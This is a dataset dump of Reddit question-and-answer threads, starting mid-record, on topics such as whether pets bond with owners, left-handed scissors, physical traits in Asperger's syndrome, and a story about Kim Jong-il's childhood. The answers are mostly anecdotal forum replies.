I've been surprised at the emotional capacity of animals that others have often deemed \"less intelligent\". I think we have much to learn about the communicative and emotive capacity of other animals. ", "Guys this is askscience, stop posting random personal anecdotes...", "I have a question, do dogs remember every single owner they've had?  Do dogs have genuine emotions?", "_URL_0_\n\nCrows for example can definitely remember aggressive humans by their faces. Here's an interesting study where they wore a particular rubber mask when capturing and releasing crows. The birds remembered the dangerous mask and would 'scold' the wearer months later.", "If you are looking for an example of a species of lizard that can form a bond, I would say the [Solomon Island Skink](_URL_1_).  They are incredibly social - they live together with their extended families and are territorial, very aggressive with non family members.  They give birth rather than lay eggs, something I didn't know any reptiles did.  \n\nI owned a few different lizards and snakes years ago, and this species was nothing like the rest.  Their [expressive eyes](_URL_0_) are incredible.  They struck me as a mammal in a lizard's body.", "Maybe I can weigh in on this. There was a herpetologist, /u/SnakeScientist who cares for these kinds of animals as part of his daily job who did an AMA. [Here](_URL_0_) is the question I asked him/her, one of them is pretty similar to what you're currently asking. I thought his answer was interesting.", "With the arachnid family in general lacking most of the social skills nessercary for estabilishing a bond, it should be said that spiders behave very differently since it is a huge order (araneae) _URL_1_. Some might have more complex brain structures/complex behaviour than expected _URL_0_ Although I highly doubt that this would extent to anything which would make it possible for a spider to bond with a human. It simply lacks the social intelligence. Birds vary a lot, but some are highly intelligent, such as crows, particularly ravens. In general you can train/bond with many species of birds, in a whole different way than you ever would be able to with a spider. As with reptiles ... Whew ... That's a toughie, although it is generally said that they are unsociable, we learn new stuff everyday, and a lot of animal species are still not properly examined (nor discovered), and then it comes to analyzing their social structures and behaviour we still have a long way to go. ", "I don't know much about the others but birds are known to be pretty damn good when it comes to human recognition, in particular crows and magpies.\n\nI read about an experiment where scientists captured some from the wild and, when they released them, they were attacked. When they went back to the same place later on in time, they were attacked by loads *more* of them; so as though they had communicated to the other birds that these scientists were bad people. ~~IIRC, they went back a fourth time wearing masks and the birds still knew who they were.~~ I will try find the report. EDIT: I was a bit wrong; [here it is though](_URL_1_).\n\nThere are plenty of studies and articles online about crows, here's [another one](_URL_0_).\n\n*I keep a list of the most intelligent animals just in case I truly give up on humanity one day.*", "I love the informed answers,\nJust going to add my two cents.\n\nI don't think you can group animals that diverse into one question, since their mental capacity would be leaps and bounds different.\n\nI don't think insects have the ability to bond, but I think they react positively to interaction when pets because we aren't trying to eat or attack them, so we are just a neutral interaction for them, not positive like we are prey, or negative like we are predator.  \n\nOn the base level, all the animals we keep get used to routine, and pattern, so in terms of 'you own me' not many connect, but your patterns and your reactions can get different reactions. I have animals that know seeing me means food or cleaning, and visually show they know to be alert.\n\nI have higher intelligent animals that may not just bond to me but to humans, and I've worked with animals like that. As long as you exude what their handlers do, they treat you the same. Confidence, Comfort, etc.\n\nBut the nature of the animal comes into play, an animal known to be an apex predator, or be calm and move with purpose, is much easier to work with and 'bond' with, than something known to be fast and skiddish from evolutionary survival.  \n\nI breed insects and reptiles and small mammals, so this is my normal, and I can see how they act differently, but for the most part I think the human is interchangeable. But that can be said for a dog or a cat as well.  ", "Not much research has been done on if reptiles show affection but a lot of research is starting to be done on intelligence like [imitation learning](_URL_0_). Couldn't find any research papers on this but there is a lot of videos and non scientific articles about [tegu lizards](_URL_1_) showing something close to affection in that they prefer getting contact with their owner over things like food and a basking spot in captivity. ", "The information I researched when I had a bearded dragon said, \"they'll come to associate you with food, which means they'll be happy to see you. That's about as close to love as you'll get with the lizard.\"\n\nMammal love is different. Oxytocin is really unique to mammals like us. Contact releases that chemical in mammals that have it which influences how we feel love.\n\nNot all mammals have it equally too! Take seals and sea lions. Seals don't get a huge oxytocin rush so they lay by themselves. Sea lions do which is why you see them laying in a huge pile haha!", "i know some birds do grow an attachment to there owners. A friend of mine had a macaw, pretty much a big smarter parrot. His bird loves to hang upside down on him and rub her beak on his face while she says \"kiss me\" over and over.  I heard they have the intelligence of a 3 y.o human.", "Some anecdotal evidence from personal experience:  I used to frequent a reptile rescue place, and one snake grew to have a preference for me.  She wouldn't let people pick her up and stayed in her little hide unless I was around and talking to her.  Since she was basically not adoptable, I took her home to save her from permanent sleepy-time.  To this day, she prefers me over my wife and three kids.  She gets up with me in the morning and stretches to the top of a 120 gallon tank so that I'll touch and talk to her.  As soon as I'm gone, she finds a quiet place to sleep until I come home and we repeat the scenario.  She will curl up in the hood of my sweatshirt and rest her head just under my ear while I do random things and rub her face on my face when she wants attention.  When anyone else in the house takes her, she is constantly trying to make her way back to me if I'm within slithering distance.  It's just weird, but I love my little Mayble.", "I own two turtles. There is absolutely no doubt they recognize me, but probably just because i feed them. And they get all crazy when i handle their food.\nI do not know if it is normal for turtles to attack, but they don't. Most times they are not afraid of me, but if i do sudden movements they get scared.\nAlso they let me pet their heads, but i dont believe they actually enjoy it.", "Unlikely for pets like tarantulas and snakes, or other reptiles with poorly developed neoforebrains. \n\nA lot of people like to anthropomorphize these animals and think their pets know them, but in many cases they really have no idea. Especially in the case of the tarantula. ", "My house is a tortoise/turtle breeding compound. Currently have about 15 Russian tortoises and half a dozen box turtles (can't remember either's specific type, they're not mine).\n\nEither way, the Russians spent a good couple weeks hiding away every time I approached. Now when I pick one up they leave all their appendages out, and stick their heads out all the way so I can rub their necks (which they seem to like). And when I approach, they don't hideaway anymore. \n\nAccording to my landlord (who owns a reptile shop) turts and torts learn who you are and recognize you after awhile. ", "Rather unscientific, but I own a crested gecko and a rose hair tarantula. The gecko seems to recognize me (at least as the source of her food), she perks up and sort of follows me when I am near the tank. The tarantula, however, gives no shits about my existence ", "One thing you have to know is all pets that can be house broken, they will bite you if you press the wrong button. I have tropical parrots and have lived with them since I was in Kindergarten, and they've turned on a dime and nailed my a far share of times over the years. ", "\"I think this could be evolution in the works.Who knows ? If man didn't evolve from primates ,parrots may of evolved into a bipedal,losing their wings for arms,and fingers.I fantasize about a planet somewhere in our galaxy that has intelligent life like us humans but they would be parrot like beings who evolved.If I where to make an Alien movie,I'd design the alien after a parrot. Or Dolphins,whales.\ufeff\"\n\nThis pleases Bird Person", "It definitely depends on the species and even the individual, but yes. I have crested geckos and they are a lot more comfortable with me than with anyone else. If I try to hold them they just kind of sit there let it happen. If anyone else tries to hold them they freak out and jump away. I wouldn't really describe the interactions I've had with any reptiles/amphibians I've owned as them appreciating or enjoying my company, but more like they hate most people but tolerate me.    Having them tolerate me is the best I could hope for really.", "I work at a pet store, the most noticable reptile that recognizes its owner in my opinion is the Iguana, but they have to be handled often or else they go back to their primal side and don't care about you at all. Seriously these things will attack like dogs if they like you enough and someone is trying to hurt you.", "Tarantulas are not social creatures. Their needs are very basic. They don't need attention, affection, handling, etc. All they need is food and water and a close representation of their native environment (some live in trees, some burrow). It can be easy to personify them, and there is nothing wrong with doing so, but in actuality they are emotionless. \n\nI raised tarantulas for a few years, had up to 80 at one point. They are beautiful creatures, and watching their behavior and watching them grow is captivating. ", "In the core they can. Depending on how you define some of the words in your question. Honey bees can learn the faces of humans and already show their 'tong' when a loved human comes into sight. There is a study were they figured out that the animals were supposed to learn some thing (color, odor, etc) but they really learned to distinguish the experimenters, which one brings the sucrose and how supplied just plain water.\nSo there were bees that only got a warm nice rewarding feeling in their tummy when one particular human came to them. And this basic conditioning should be possible with all the listed animals.\nThe study is (hopefully, I can't break the pay-wall):\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://habri.org/"], [], [], ["http://www.nytimes.com/2008/08/26/science/26crow.html?_r=0"], ["http://images.thezooom.com/image.php?src=2012/07/Corucia-Zebrata-Solomon-Islands-skink.jpg", "http://www.chieftain.com/life/1791203-120/skink-skinks-prehensile-tailed"], ["https://www.reddit.com/r/IAmA/comments/2kqkmj/iama_herpetologist_ama/clo1m1o?context=3"], ["http://www.nytimes.com/2014/11/04/science/mapping-the-tiny-brain-of-the-aristocrat-of-arachnids.html", "https://en.wikipedia.org/wiki/Spider_behavior"], ["http://now.uiowa.edu/2014/12/crows-are-smarter-you-think", "https://www.newscientist.com/article/dn18429-if-you-think-a-crow-is-giving-you-the-evil-eye/"], [], ["http://phys.org/news/2014-09-evidence-reptiles-imitation.html", "https://www.youtube.com/watch?v=BwEbPZvhE_o"], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.scientificamerican.com/article/insects-recognize-faces-using-processing-mechanism-similar-to-that-of-humans/"]]}
{"q_id": "6o0349", "title": "why does a scissor not work for left handed people but does for right handed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6o0349/eli5_why_does_a_scissor_not_work_for_left_handed/", "answers": {"a_id": ["dkdibzz", "dkdlmde", "dkeabe1"], "score": [40, 8, 3], "text": ["scissors are actually made for right handed people typically, it's the way the right hand applies pressure on the handle aligns the blades. When you try and use your left hand, the blades separate and nothing cuts. ", "My question is: do lefties use their right hand for scissors or just learn to use it with the left? It requires a weird hand tension/flex.", "I am a lefty and I find that the blades are on the wrong side (the top blade is on the right side, blocking my view) and make it slightly harder to see where I'm cutting.\n\nAlso non \"ambidextrous\" scissors have the handle shaped in a way that doesn't fit your left hand very well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5f583n", "title": "is whiskey dick an actual thing and if so, what causes this to biologically happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5f583n/eli5_is_whiskey_dick_an_actual_thing_and_if_so/", "answers": {"a_id": ["dahj5d4"], "score": [28], "text": ["An erection is caused by restricting blood flow out of the penis by muscle action. Alcohol is a nervous system suppressant and so would tend to reduce the ability of the body to direct such actions, which usually result from the parasympathetic nervous system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45gkdv", "title": "Jerusalem, 1920s. There's been a murder, who conducts the investigation?", "selftext": "Is it a local policemen, a British agent, or someone else?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/45gkdv/jerusalem_1920s_theres_been_a_murder_who_conducts/", "answers": {"a_id": ["czykdrw"], "score": [2], "text": ["The Palestine Police Force was established in July 1920. If your murder was committed between January and June then it would still have been the responsibility of the British Military police."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mkcz8", "title": "deleuze and guattari's philosophy (primarily the concept of the rhizome)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mkcz8/eli5_deleuze_and_guattaris_philosophy_primarily/", "answers": {"a_id": ["c352vzt", "c352vzt"], "score": [3, 3], "text": ["Plants have roots. Roots branch out in the dirt to find water. It's dark down there. They feel around splitting off into all kinds of directions. This is what philosophy should do. Think in the dark, which means not to depend on the things we already know, the above ground. We take tangents in the dark. The one thing about the analogy, is that as a mode of thought rhizomatic thinking can go really fast.", "Plants have roots. Roots branch out in the dirt to find water. It's dark down there. They feel around splitting off into all kinds of directions. This is what philosophy should do. Think in the dark, which means not to depend on the things we already know, the above ground. We take tangents in the dark. The one thing about the analogy, is that as a mode of thought rhizomatic thinking can go really fast."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "32g8l4", "title": "what happens if the snp are voted for in the general election?", "selftext": "Not into politics but I have been wondering this. Does that mean she becomes prime minister and has control over England and Wales as well as Scotland???", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32g8l4/eli5_what_happens_if_the_snp_are_voted_for_in_the/", "answers": {"a_id": ["cqaw2tf", "cqawb96"], "score": [3, 6], "text": ["No, because no one outside of Scotland can vote for the SNP so best case scenario for them is to form a coalition government with Labour. ", "There's no way the SNP can get a majority in the UK Parliament. They are only contesting 59 out of 650 seats (the ones in Scotland).\n\nSo there is no realistic way Nicola Sturgeon can become PM. She actually isn't standing for election herself anyway, because she is a member of the Scottish Parliament and Scottish First Minister already.\n\nHer aim is for the SNP to support a Labour government. But since Labour probably won't get a majority, it means Labour will often find themselves needing to get the SNP to agree with them to be able to get bills passed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ahri12", "title": "how is sadness able to cause psychical \"pain\", like chest \"pain\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ahri12/eli5_how_is_sadness_able_to_cause_psychical_pain/", "answers": {"a_id": ["eehdnh5", "eehghcd", "eehnzkk"], "score": [13, 5, 3], "text": ["It\u2019s real pain as hormones/chemicals rush in your body as a reaction to the emotional pain. Can\u2019t for the life of me remember what they are. \n\nSomeone with more knowledge of this can explain it better but that\u2019s the short, simplified answer.", "I had a professor last semester that touched briefly on this topic. In short, emotional pain activates the same pathway as physical pain in the brain, specifically involving the cingulate cortex. A study was conducted (De Wall eat al., 2010) that found Tylenol can actually help remedy hurt feelings/emotional pain! ", "There\u2019s a couple of different reasons for this. Physical symptoms are extremely common in depression, but they are always secondary to the emotional symptoms. Since this is ELI5, let\u2019s just say that, if you ignore your body\u2019s needs long enough, it will start making new (psychosomatic) symptoms to get your attention. You\u2019ll literally start to feel it affecting your body, even if you don\u2019t have any previous medical conditions. Also, depression biologically alters the brain to interpret pain differently.\n\nDepression is highly stigmatized and many many people choose to ignore or minimize depressive symptoms. Mild depression should be treated as a cold. You get a cold, ideally you should change your eating and sleeping habits until you\u2019re feeling well again. If you ignore a cold-symptoms, they could turn into something much worse. People who are depressed are typically eating comfort food and rarely getting any exercise and face time with others. Physically, your body will eventually \u201ccry for help\u201d simply due to lack of essential nutrients and activity. Loneliness and feelings of hopelessness will also hasten the process.\n\nOn a purely biological level, let\u2019s simply consider the neurotransmitters involved in depression (dopamine, serotonin, and norepinephrine). These neurotransmitters literally regulate our mood and control how we respond to pain, so low levels of these in depressed individuals are likely to cause a pain response that is maybe out-of-proportion to reality, and not due to any medical condition. More importantly, the severity of physical pain is usually correlated with the severity of emotional symptoms, so someone who is acutely suicidal may experience pain differently than someone who is simply \u201cdown in the dumps.\u201d\n\nThe physical pain that accompanies depression is both habitual and biological. Reported symptoms of depression are also different across cultures (and between children and adults), which has led to some grave misdiagnoses. It is extremely common for depression to be described as physical pain, rather than emotional dysfunction (more often in collectivistic cultures). It is important for mental health professionals to know the difference when making a diagnosis and treatment plan for someone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cs3815", "title": "being able to vibrate your head", "selftext": "I'm not sure if other people can do it, basically I'm able to literally vibrate my head (physically) on command. I did some research about this but everything I came up with is a voluntary contraction of the tensor tympani muscle in the ear, the thing is that that is just related to the sound (people that are able to do that can hear a rumbling noise) and in my case it's the vibration of my head, does anyone know what it is?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cs3815/eli5_being_able_to_vibrate_your_head/", "answers": {"a_id": ["excdya3", "excje5e"], "score": [2, 2], "text": ["I can do this and also vibrate my eyes too. I remember I had friends who couldn\u2019t do either", "For me, ear sounds and head vibration are different actions The head shakes come from the neck, the sounds in the ear come from something near my earlobes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "lcv0v", "title": "Are there physical symptoms of Asperger's Syndrome?", "selftext": "I am a martial arts instructor and over the last 15 years I have seen a dramatic increase in the number of students I train with Asperger's syndrome.  One of the things I notice that I do not see mentioned in anything I have read on the condition are the physical ailments that go along with the psychological/neurological ones.\n\n\nMy personal observation over this time is that all of them seem to have very tight hips and they do not have the same range of motion as their peers.  They have a very limited capacity for balance.  None of them can seem to pivot the base foot of one leg and be able to lift the other leg above their hip.  They also all seem to have very weak muscle tone and to not develop physically with their peers.  As disconnected as they can sometimes be with the people around them, it also seems they are disconnected from their own bodies as well.  \n\n\nI have a good success rate of motivating them and getting them to try hard.  But even when they do, they just seem limited in their physical ability.  Any insights?\n\nEdit: I can be more specific if need be in my observations if needed.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lcv0v/are_there_physical_symptoms_of_aspergers_syndrome/", "answers": {"a_id": ["c2roi04", "c2rpahy", "c2rpbsl", "c2rpfej", "c2rpg09", "c2rqgf4", "c2rrhnr", "c2rti4l", "c2rwy7y", "c2roi04", "c2rpahy", "c2rpbsl", "c2rpfej", "c2rpg09", "c2rqgf4", "c2rrhnr", "c2rti4l", "c2rwy7y"], "score": [19, 4, 2, 6, 4, 2, 3, 2, 2, 19, 4, 2, 6, 4, 2, 3, 2, 2], "text": ["Compile your observations into a report, contact a center of research in your country, get your findings validated, help parents and doctors all over the world.\n\nDo this thing, please.", "[They may have slightly larger brains](_URL_0_), but it would be hard to tell without a scan.", "This has a [long table for autism](_URL_0_), which is supposed to be the more-extreme Asperger's; but most of the symptoms may be a bit subtle. ", "Poor body awareness is one of the symptoms of Aspergers/autism. This is the \"klutziness\" trait that some people mention. I've actually got really really good balance, or I'd be falling constantly, I just don't know where all my parts are, which is why I'll run into walls or scare myself wondering what's touching my leg when it's my hand... As for the rest of it, no clue.", " > Are there physical symptoms of Asperger's Syndrome? \n\nTwo physical characteristics that I know of offhand that have been connected with \"autism\"- \n\n > A report just published in Developmental Medicine and Child Neurology suggests that people with autism have ring fingers that are abnormally long compared with their index fingers. \n\n\\- _URL_0_ -  (There are lots of other sites that mention this. Many are bogus.)\n\n > Babies with Asperger's keep their head straight when their body was tilted, the University of Florida team found.\n\n > The findings appear in Proceedings of the National Academy of Sciences.\n\n > Previously, Dr Osnat Teitelbaum and colleagues found infants who were later diagnosed with autism had shown a host of abnormal movement patterns at an early age.  \n\n(In other words, \"Are there physical symptoms of Asperger's Syndrome?\" - Yeah, kinda looks like it.)\n\n\\- _URL_1_ - ", "I don't think these are physical symptoms so much as physical manifestations of psychological differences. Have a look at _URL_0_ (please excuse me linking to wikipedia, but the article is very well sourced), problems with motor skills, visual-motor integration and clumsiness have often been observed in individuals with Asperger's syndrome. However, because ASD is a psychopathology rather than a well understood neurological phenomenon what the cause of these symptoms could be is unclear.", "My sons gross motor skills are delayed and his fine motor skills are horrendous.  Additionally he has shortened tendon's in his legs from walking on his tip toes when he was younger.  As you have found he is physically very weak and quite inflexible.  He despised jujitsu because he couldn't do the things the other kids did easily.", "Many people with AS also have Sensory Integration Dysfunction. Low muscle tone and dyspraxia (uncoordinated motor planning and difficulty with balance) are concomitant many times with SI dysfunction. There is some research indicating people on the autism spectrum have neurological differences in the cerebellum, basal ganglia and other brain centers that integrate sensory systems. ", "As a mother of identical twin boys with Aspergers I can only offer my personal observations, but I'd say you are spot on with the physical differences.  My boys have very low muscle tone and little upper body strength.  Balance has always been an issue and not for lack of trying as we had them in Karate and Gymnastics at young ages.  \n\nThey were always climbing and physical as toddlers and we were out and about playing at the park or with friends all the time, so IMO lack of playing has nothing to do with the physical challenges they have.\n\nCrossing the midline of their body is difficult although we have seen improvement with this as they have gotten older.  One twin is able to tie shoes and the other is not, they will be 11 in March.  We have worked on tying since they were three.  Fine motor skills are severely affected in my boys.  \n\nFor shits and giggles I just checked their fingers and to my surprise the ring finger is much longer than their index finger.  I then checked mine and it is the same.  I've wondered about myself being on the spectrum but I've never been tested.  \n\nWe spent several hours the other night watching videos of the boys when they were infants and both DH and I noticed how they were very quiet babies and lacked a variety of facial expressions.  They also seemed very stiff in their movements.  I remember asking their Dr. about it but was told they feel in the normal range so don't worry about it.  Five years later we got our diagnosis.", "Compile your observations into a report, contact a center of research in your country, get your findings validated, help parents and doctors all over the world.\n\nDo this thing, please.", "[They may have slightly larger brains](_URL_0_), but it would be hard to tell without a scan.", "This has a [long table for autism](_URL_0_), which is supposed to be the more-extreme Asperger's; but most of the symptoms may be a bit subtle. ", "Poor body awareness is one of the symptoms of Aspergers/autism. This is the \"klutziness\" trait that some people mention. I've actually got really really good balance, or I'd be falling constantly, I just don't know where all my parts are, which is why I'll run into walls or scare myself wondering what's touching my leg when it's my hand... As for the rest of it, no clue.", " > Are there physical symptoms of Asperger's Syndrome? \n\nTwo physical characteristics that I know of offhand that have been connected with \"autism\"- \n\n > A report just published in Developmental Medicine and Child Neurology suggests that people with autism have ring fingers that are abnormally long compared with their index fingers. \n\n\\- _URL_0_ -  (There are lots of other sites that mention this. Many are bogus.)\n\n > Babies with Asperger's keep their head straight when their body was tilted, the University of Florida team found.\n\n > The findings appear in Proceedings of the National Academy of Sciences.\n\n > Previously, Dr Osnat Teitelbaum and colleagues found infants who were later diagnosed with autism had shown a host of abnormal movement patterns at an early age.  \n\n(In other words, \"Are there physical symptoms of Asperger's Syndrome?\" - Yeah, kinda looks like it.)\n\n\\- _URL_1_ - ", "I don't think these are physical symptoms so much as physical manifestations of psychological differences. Have a look at _URL_0_ (please excuse me linking to wikipedia, but the article is very well sourced), problems with motor skills, visual-motor integration and clumsiness have often been observed in individuals with Asperger's syndrome. However, because ASD is a psychopathology rather than a well understood neurological phenomenon what the cause of these symptoms could be is unclear.", "My sons gross motor skills are delayed and his fine motor skills are horrendous.  Additionally he has shortened tendon's in his legs from walking on his tip toes when he was younger.  As you have found he is physically very weak and quite inflexible.  He despised jujitsu because he couldn't do the things the other kids did easily.", "Many people with AS also have Sensory Integration Dysfunction. Low muscle tone and dyspraxia (uncoordinated motor planning and difficulty with balance) are concomitant many times with SI dysfunction. There is some research indicating people on the autism spectrum have neurological differences in the cerebellum, basal ganglia and other brain centers that integrate sensory systems. ", "As a mother of identical twin boys with Aspergers I can only offer my personal observations, but I'd say you are spot on with the physical differences.  My boys have very low muscle tone and little upper body strength.  Balance has always been an issue and not for lack of trying as we had them in Karate and Gymnastics at young ages.  \n\nThey were always climbing and physical as toddlers and we were out and about playing at the park or with friends all the time, so IMO lack of playing has nothing to do with the physical challenges they have.\n\nCrossing the midline of their body is difficult although we have seen improvement with this as they have gotten older.  One twin is able to tie shoes and the other is not, they will be 11 in March.  We have worked on tying since they were three.  Fine motor skills are severely affected in my boys.  \n\nFor shits and giggles I just checked their fingers and to my surprise the ring finger is much longer than their index finger.  I then checked mine and it is the same.  I've wondered about myself being on the spectrum but I've never been tested.  \n\nWe spent several hours the other night watching videos of the boys when they were infants and both DH and I noticed how they were very quiet babies and lacked a variety of facial expressions.  They also seemed very stiff in their movements.  I remember asking their Dr. about it but was told they feel in the normal range so don't worry about it.  Five years later we got our diagnosis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://articles.latimes.com/2011/may/03/news/la-heb-autism-brain-size-20110503"], ["http://www.vaccinationnews.com/scandals/feb_15_02/comparison_symptoms.htm"], [], ["http://www.economist.com/node/540787", "http://www.autismtoday.com/articles/Parents-can-check.htm"], ["http://en.wikipedia.org/wiki/Asperger_syndrome#Other"], [], [], [], [], ["http://articles.latimes.com/2011/may/03/news/la-heb-autism-brain-size-20110503"], ["http://www.vaccinationnews.com/scandals/feb_15_02/comparison_symptoms.htm"], [], ["http://www.economist.com/node/540787", "http://www.autismtoday.com/articles/Parents-can-check.htm"], ["http://en.wikipedia.org/wiki/Asperger_syndrome#Other"], [], [], []]}
{"q_id": "25lpuc", "title": "What are things that dictators did as kids/teens that could have alerted to their brutality as an early warning?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25lpuc/what_are_things_that_dictators_did_as_kidsteens/", "answers": {"a_id": ["chihax1", "chiisl2", "chink5n"], "score": [28, 8, 2], "text": ["There's a shadowy story that's emerged from North Korea concerning Kim Jong-il that's given historians some pause. Unfortunately, we're probably decades past the point when we could confirm it with total confidence, and that's *if* we could have confirmed it at all. Not only does it belong to a period that the North Korean government has heavily mythologized, but most (if not all) of the people who would be in a position to confirm it have since died. There are probably still members of the Kim family around who know for sure, but they're not very talkative people.\n\nAnyway, it's a pretty good guide en miniature to the difficulties of assembling North Korean history.\n\n**Yura and Shura:** What most North Koreans aren't told is that Kim Jong-il (the eldest son of, and later successor to, Kim il-Sung) wasn't born in North Korea at all. After about 5 years of harassing the Japanese in Manchuria as part of a Chinese-led force, his father had to bail out of the fight when things got hot, and he fled for the Soviet Union with his then-wife, Kim Jong-suk. Contrary to the official history distributed by the North Korean state, Kim il-Sung never fought in Korea, and in fact sat out World War II. Kim Jong-il was likely born in a Soviet army camp in Siberia in 1942, and he was followed by a little brother in 1944. This little brother's existence is also unknown to most North Koreans, for reasons that will become apparent shortly.\n\nThe two boys were nicknamed Yura and Shura respectively (Russian nicknames for Yuri and Alexander -- and in fact, we only know the younger brother's nickname), and they accompanied their parents back to Korea after World War II ended and the Soviet army descended into the peninsula. The story that concerns us today comes from 1948, when Jong-il would have been 5-6 years old and his brother 3-4. They were said to have been playing in a pond in Pyongyang, and as his younger brother repeatedly tried to climb out of the pond, Jong-il pushed him back in. Shura eventually tottered under the water after another push, was too exhausted to pull himself out, and drowned. Their parents were too late upon the scene to rescue him, shouted at Jong-il for an explanation, and didn't receive one.\n\nSo. If the story is true, then Kim Jong-il killed his younger brother at a very young age. Was it something that should have been a warning sign, as you ask here, or was it simply a family tragedy caused by a child too young to realize what he was doing? I'm not sure I can answer that.\n\nAnd how do we know about this in the first place? The story comes to us via a North Korean official who defected to South Korea in 1960.\n\n**Why it might not be true:** Trying to assemble an accurate narrative about events within North Korea is difficult even under the best of circumstances, because NK's government has a very opportunistic approach to its own history. Events that support the narrative of Kim il-Sung, and secondarily Kim Jong-il, as the great saviors of their nation, are exalted and embellished, if they aren't being made up entirely. Events that do not support this narrative are downplayed at best and erased at worst. That's bad on its own, but the acrimonious relationship between North and South Korea added another layer of complexity. With anything that was filtered through the South Korean government, it was prudent to ask whether they were putting their own spin on the information, or simply not publicizing anything that might have countered it.\n\nThe defector who provided the story arrived in SK about 7 years after the Korean War, in a period when passions and propaganda were running high on both sides of the border. Maybe the guy was telling the truth about a story that was whispered around the upper tier of NK's government. Maybe he was telling a version of the truth and played it up for the benefit of the South Korean intelligence service, which would certainly have loved hearing anything bad about North Korea. Maybe he made a vague reference to a story like it, and SK intelligence filled in the details, as it were. Or maybe he said nothing of the sort and the South Korean government simply made it up. We don't really know.\n\n**Why it might actually be true:** However, historians tend to entertain the defector's story as a serious possibility, even if they don't necessarily believe it means Kim Jong-il was a childhood sociopath. \"Shura\" is curiously absent from all official North Korean histories, but thanks to Soviet army records, we know that he did in fact exist, and that his age in 1948 would have made the defector's story plausible. \n\nKim Jong-il was active in North Korea's government from his early 20s onwards, and he started his career by controlling the country's art and literature scene (he was primarily interested in, and most famous for, the country's movie scene, but it wasn't the only thing he did). Even from an early age, he had absolute control over his personal narrative within North Korea, and he was big on playing up anything that could win him additional sympathy or support from the North Korean populace (e.g., his mother's early death in 1949 -- yes, a year after Shura). Why? Because his position as his father's successor was not (we think) guaranteed until much later. He had an advantage as his father's eldest son, but his step-siblings were born a bit more than a decade after he was, in a time when Kim il-Sung was firmly established as North Korea's absolute ruler and could afford to spend more time with them. Kim Pyong-il, Kim il-Sung's son by the favored wife, Kim Song-ae, was said to be a particular favorite and the most likely rival for the top job. Pyong-il was actually shunted into ambassadorships later in his life, but while Kim Jong-il was working his way up the government ladder and currying favor with Dad, he only saw Pyong-il as a threat against his interests and worked hard to eliminate or minimize it. Arguably the most effective way he did this was by controlling the information given to the public on the Kim family.\n\nSo of the histories that Jong-il approved and published, none of them make any reference to Shura -- it's as if he never existed at all -- and none of them acknowledge that Kim Jong-il had step-siblings. North Koreans are instead presented with a very sanitized story in which Kim il-Sung's only son was:\n\n - born on the sacred Mount Paektu in 1942 (which he wasn't)\n - fired at retreating Japanese at the age of 3 (doubtful), and:\n - tragically lost his mother at the age of 7 (one out of three ain't bad). \n\nIf Shura had died in a genuine accident or in something completely unrelated to Jong-il, it seems reasonable to assume that Jong-il would have played up the tragic circumstances of his brother's death in much the same way that he played up their mother's early death. Instead, silence.\n\nSorry to write so much; I just think it's one of the more interesting (if creepy) quirks in North Korea's history.\n\n**EDIT:** I should probably give an additional detail that makes me think that the defector's story might be true. Dynastic succession wasn't a \"thing\" in Communist governments (Marx had inveighed against the whole notion of inherited power), and people who worked in NK's government in the early 1960s would not necessarily have believed that Kim il-Sung's job would only be passed to a son. Kim Jong-il wasn't yet part of NK's government when the official defected, and even after he became part of the government, he wasn't universally liked. So the official may not have attached the kind of weighty importance to the story that we're inclined to do today, because Jong-il was just a pain-in-the-ass college kid at the time and not necessarily a figure of great destiny in North Korean culture.", "If I might, I'd like to take a moment to disagree with the premise of your question, especially the \"Why was this not caught at a young age?\" part. If you take a dictator and start looking at his life history for violent events, you may very well find some. But even *if* (I stress the \"if\"; I haven't done an exhaustive survey) all dictators had violent events in their youth, that doesn't mean that everyone with a violent event in their youth becomes a dictator, which is what your \"why was this not caught\" seems to imply. Many adults will have had violent episodes in their youth, and most of them didn't grow up to become dictators. \n\nThe question about \"things dictators did as kids/teens\" is very interesting, but for the reason outlined above I'd be very careful about using terms such as \"alerted\" and \"caught at a young age\".\n\n*edit: spelling*", "Sorry, we don't allow [throughout history questions](_URL_0_).  These tend to produce threads which are collections of trivia, not the in-depth discussions about a particular topic we're looking for.  If you have a specific question about a historical event or period or person, please feel free to re-compose your question and submit it again. Alternatively, you may PM /u/caffarelli to have your question considered for an upcoming [Tuesday Trivia](_URL_1_) thread."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions", "http://www.reddit.com/r/AskHistorians/wiki/features/trivia"]]}
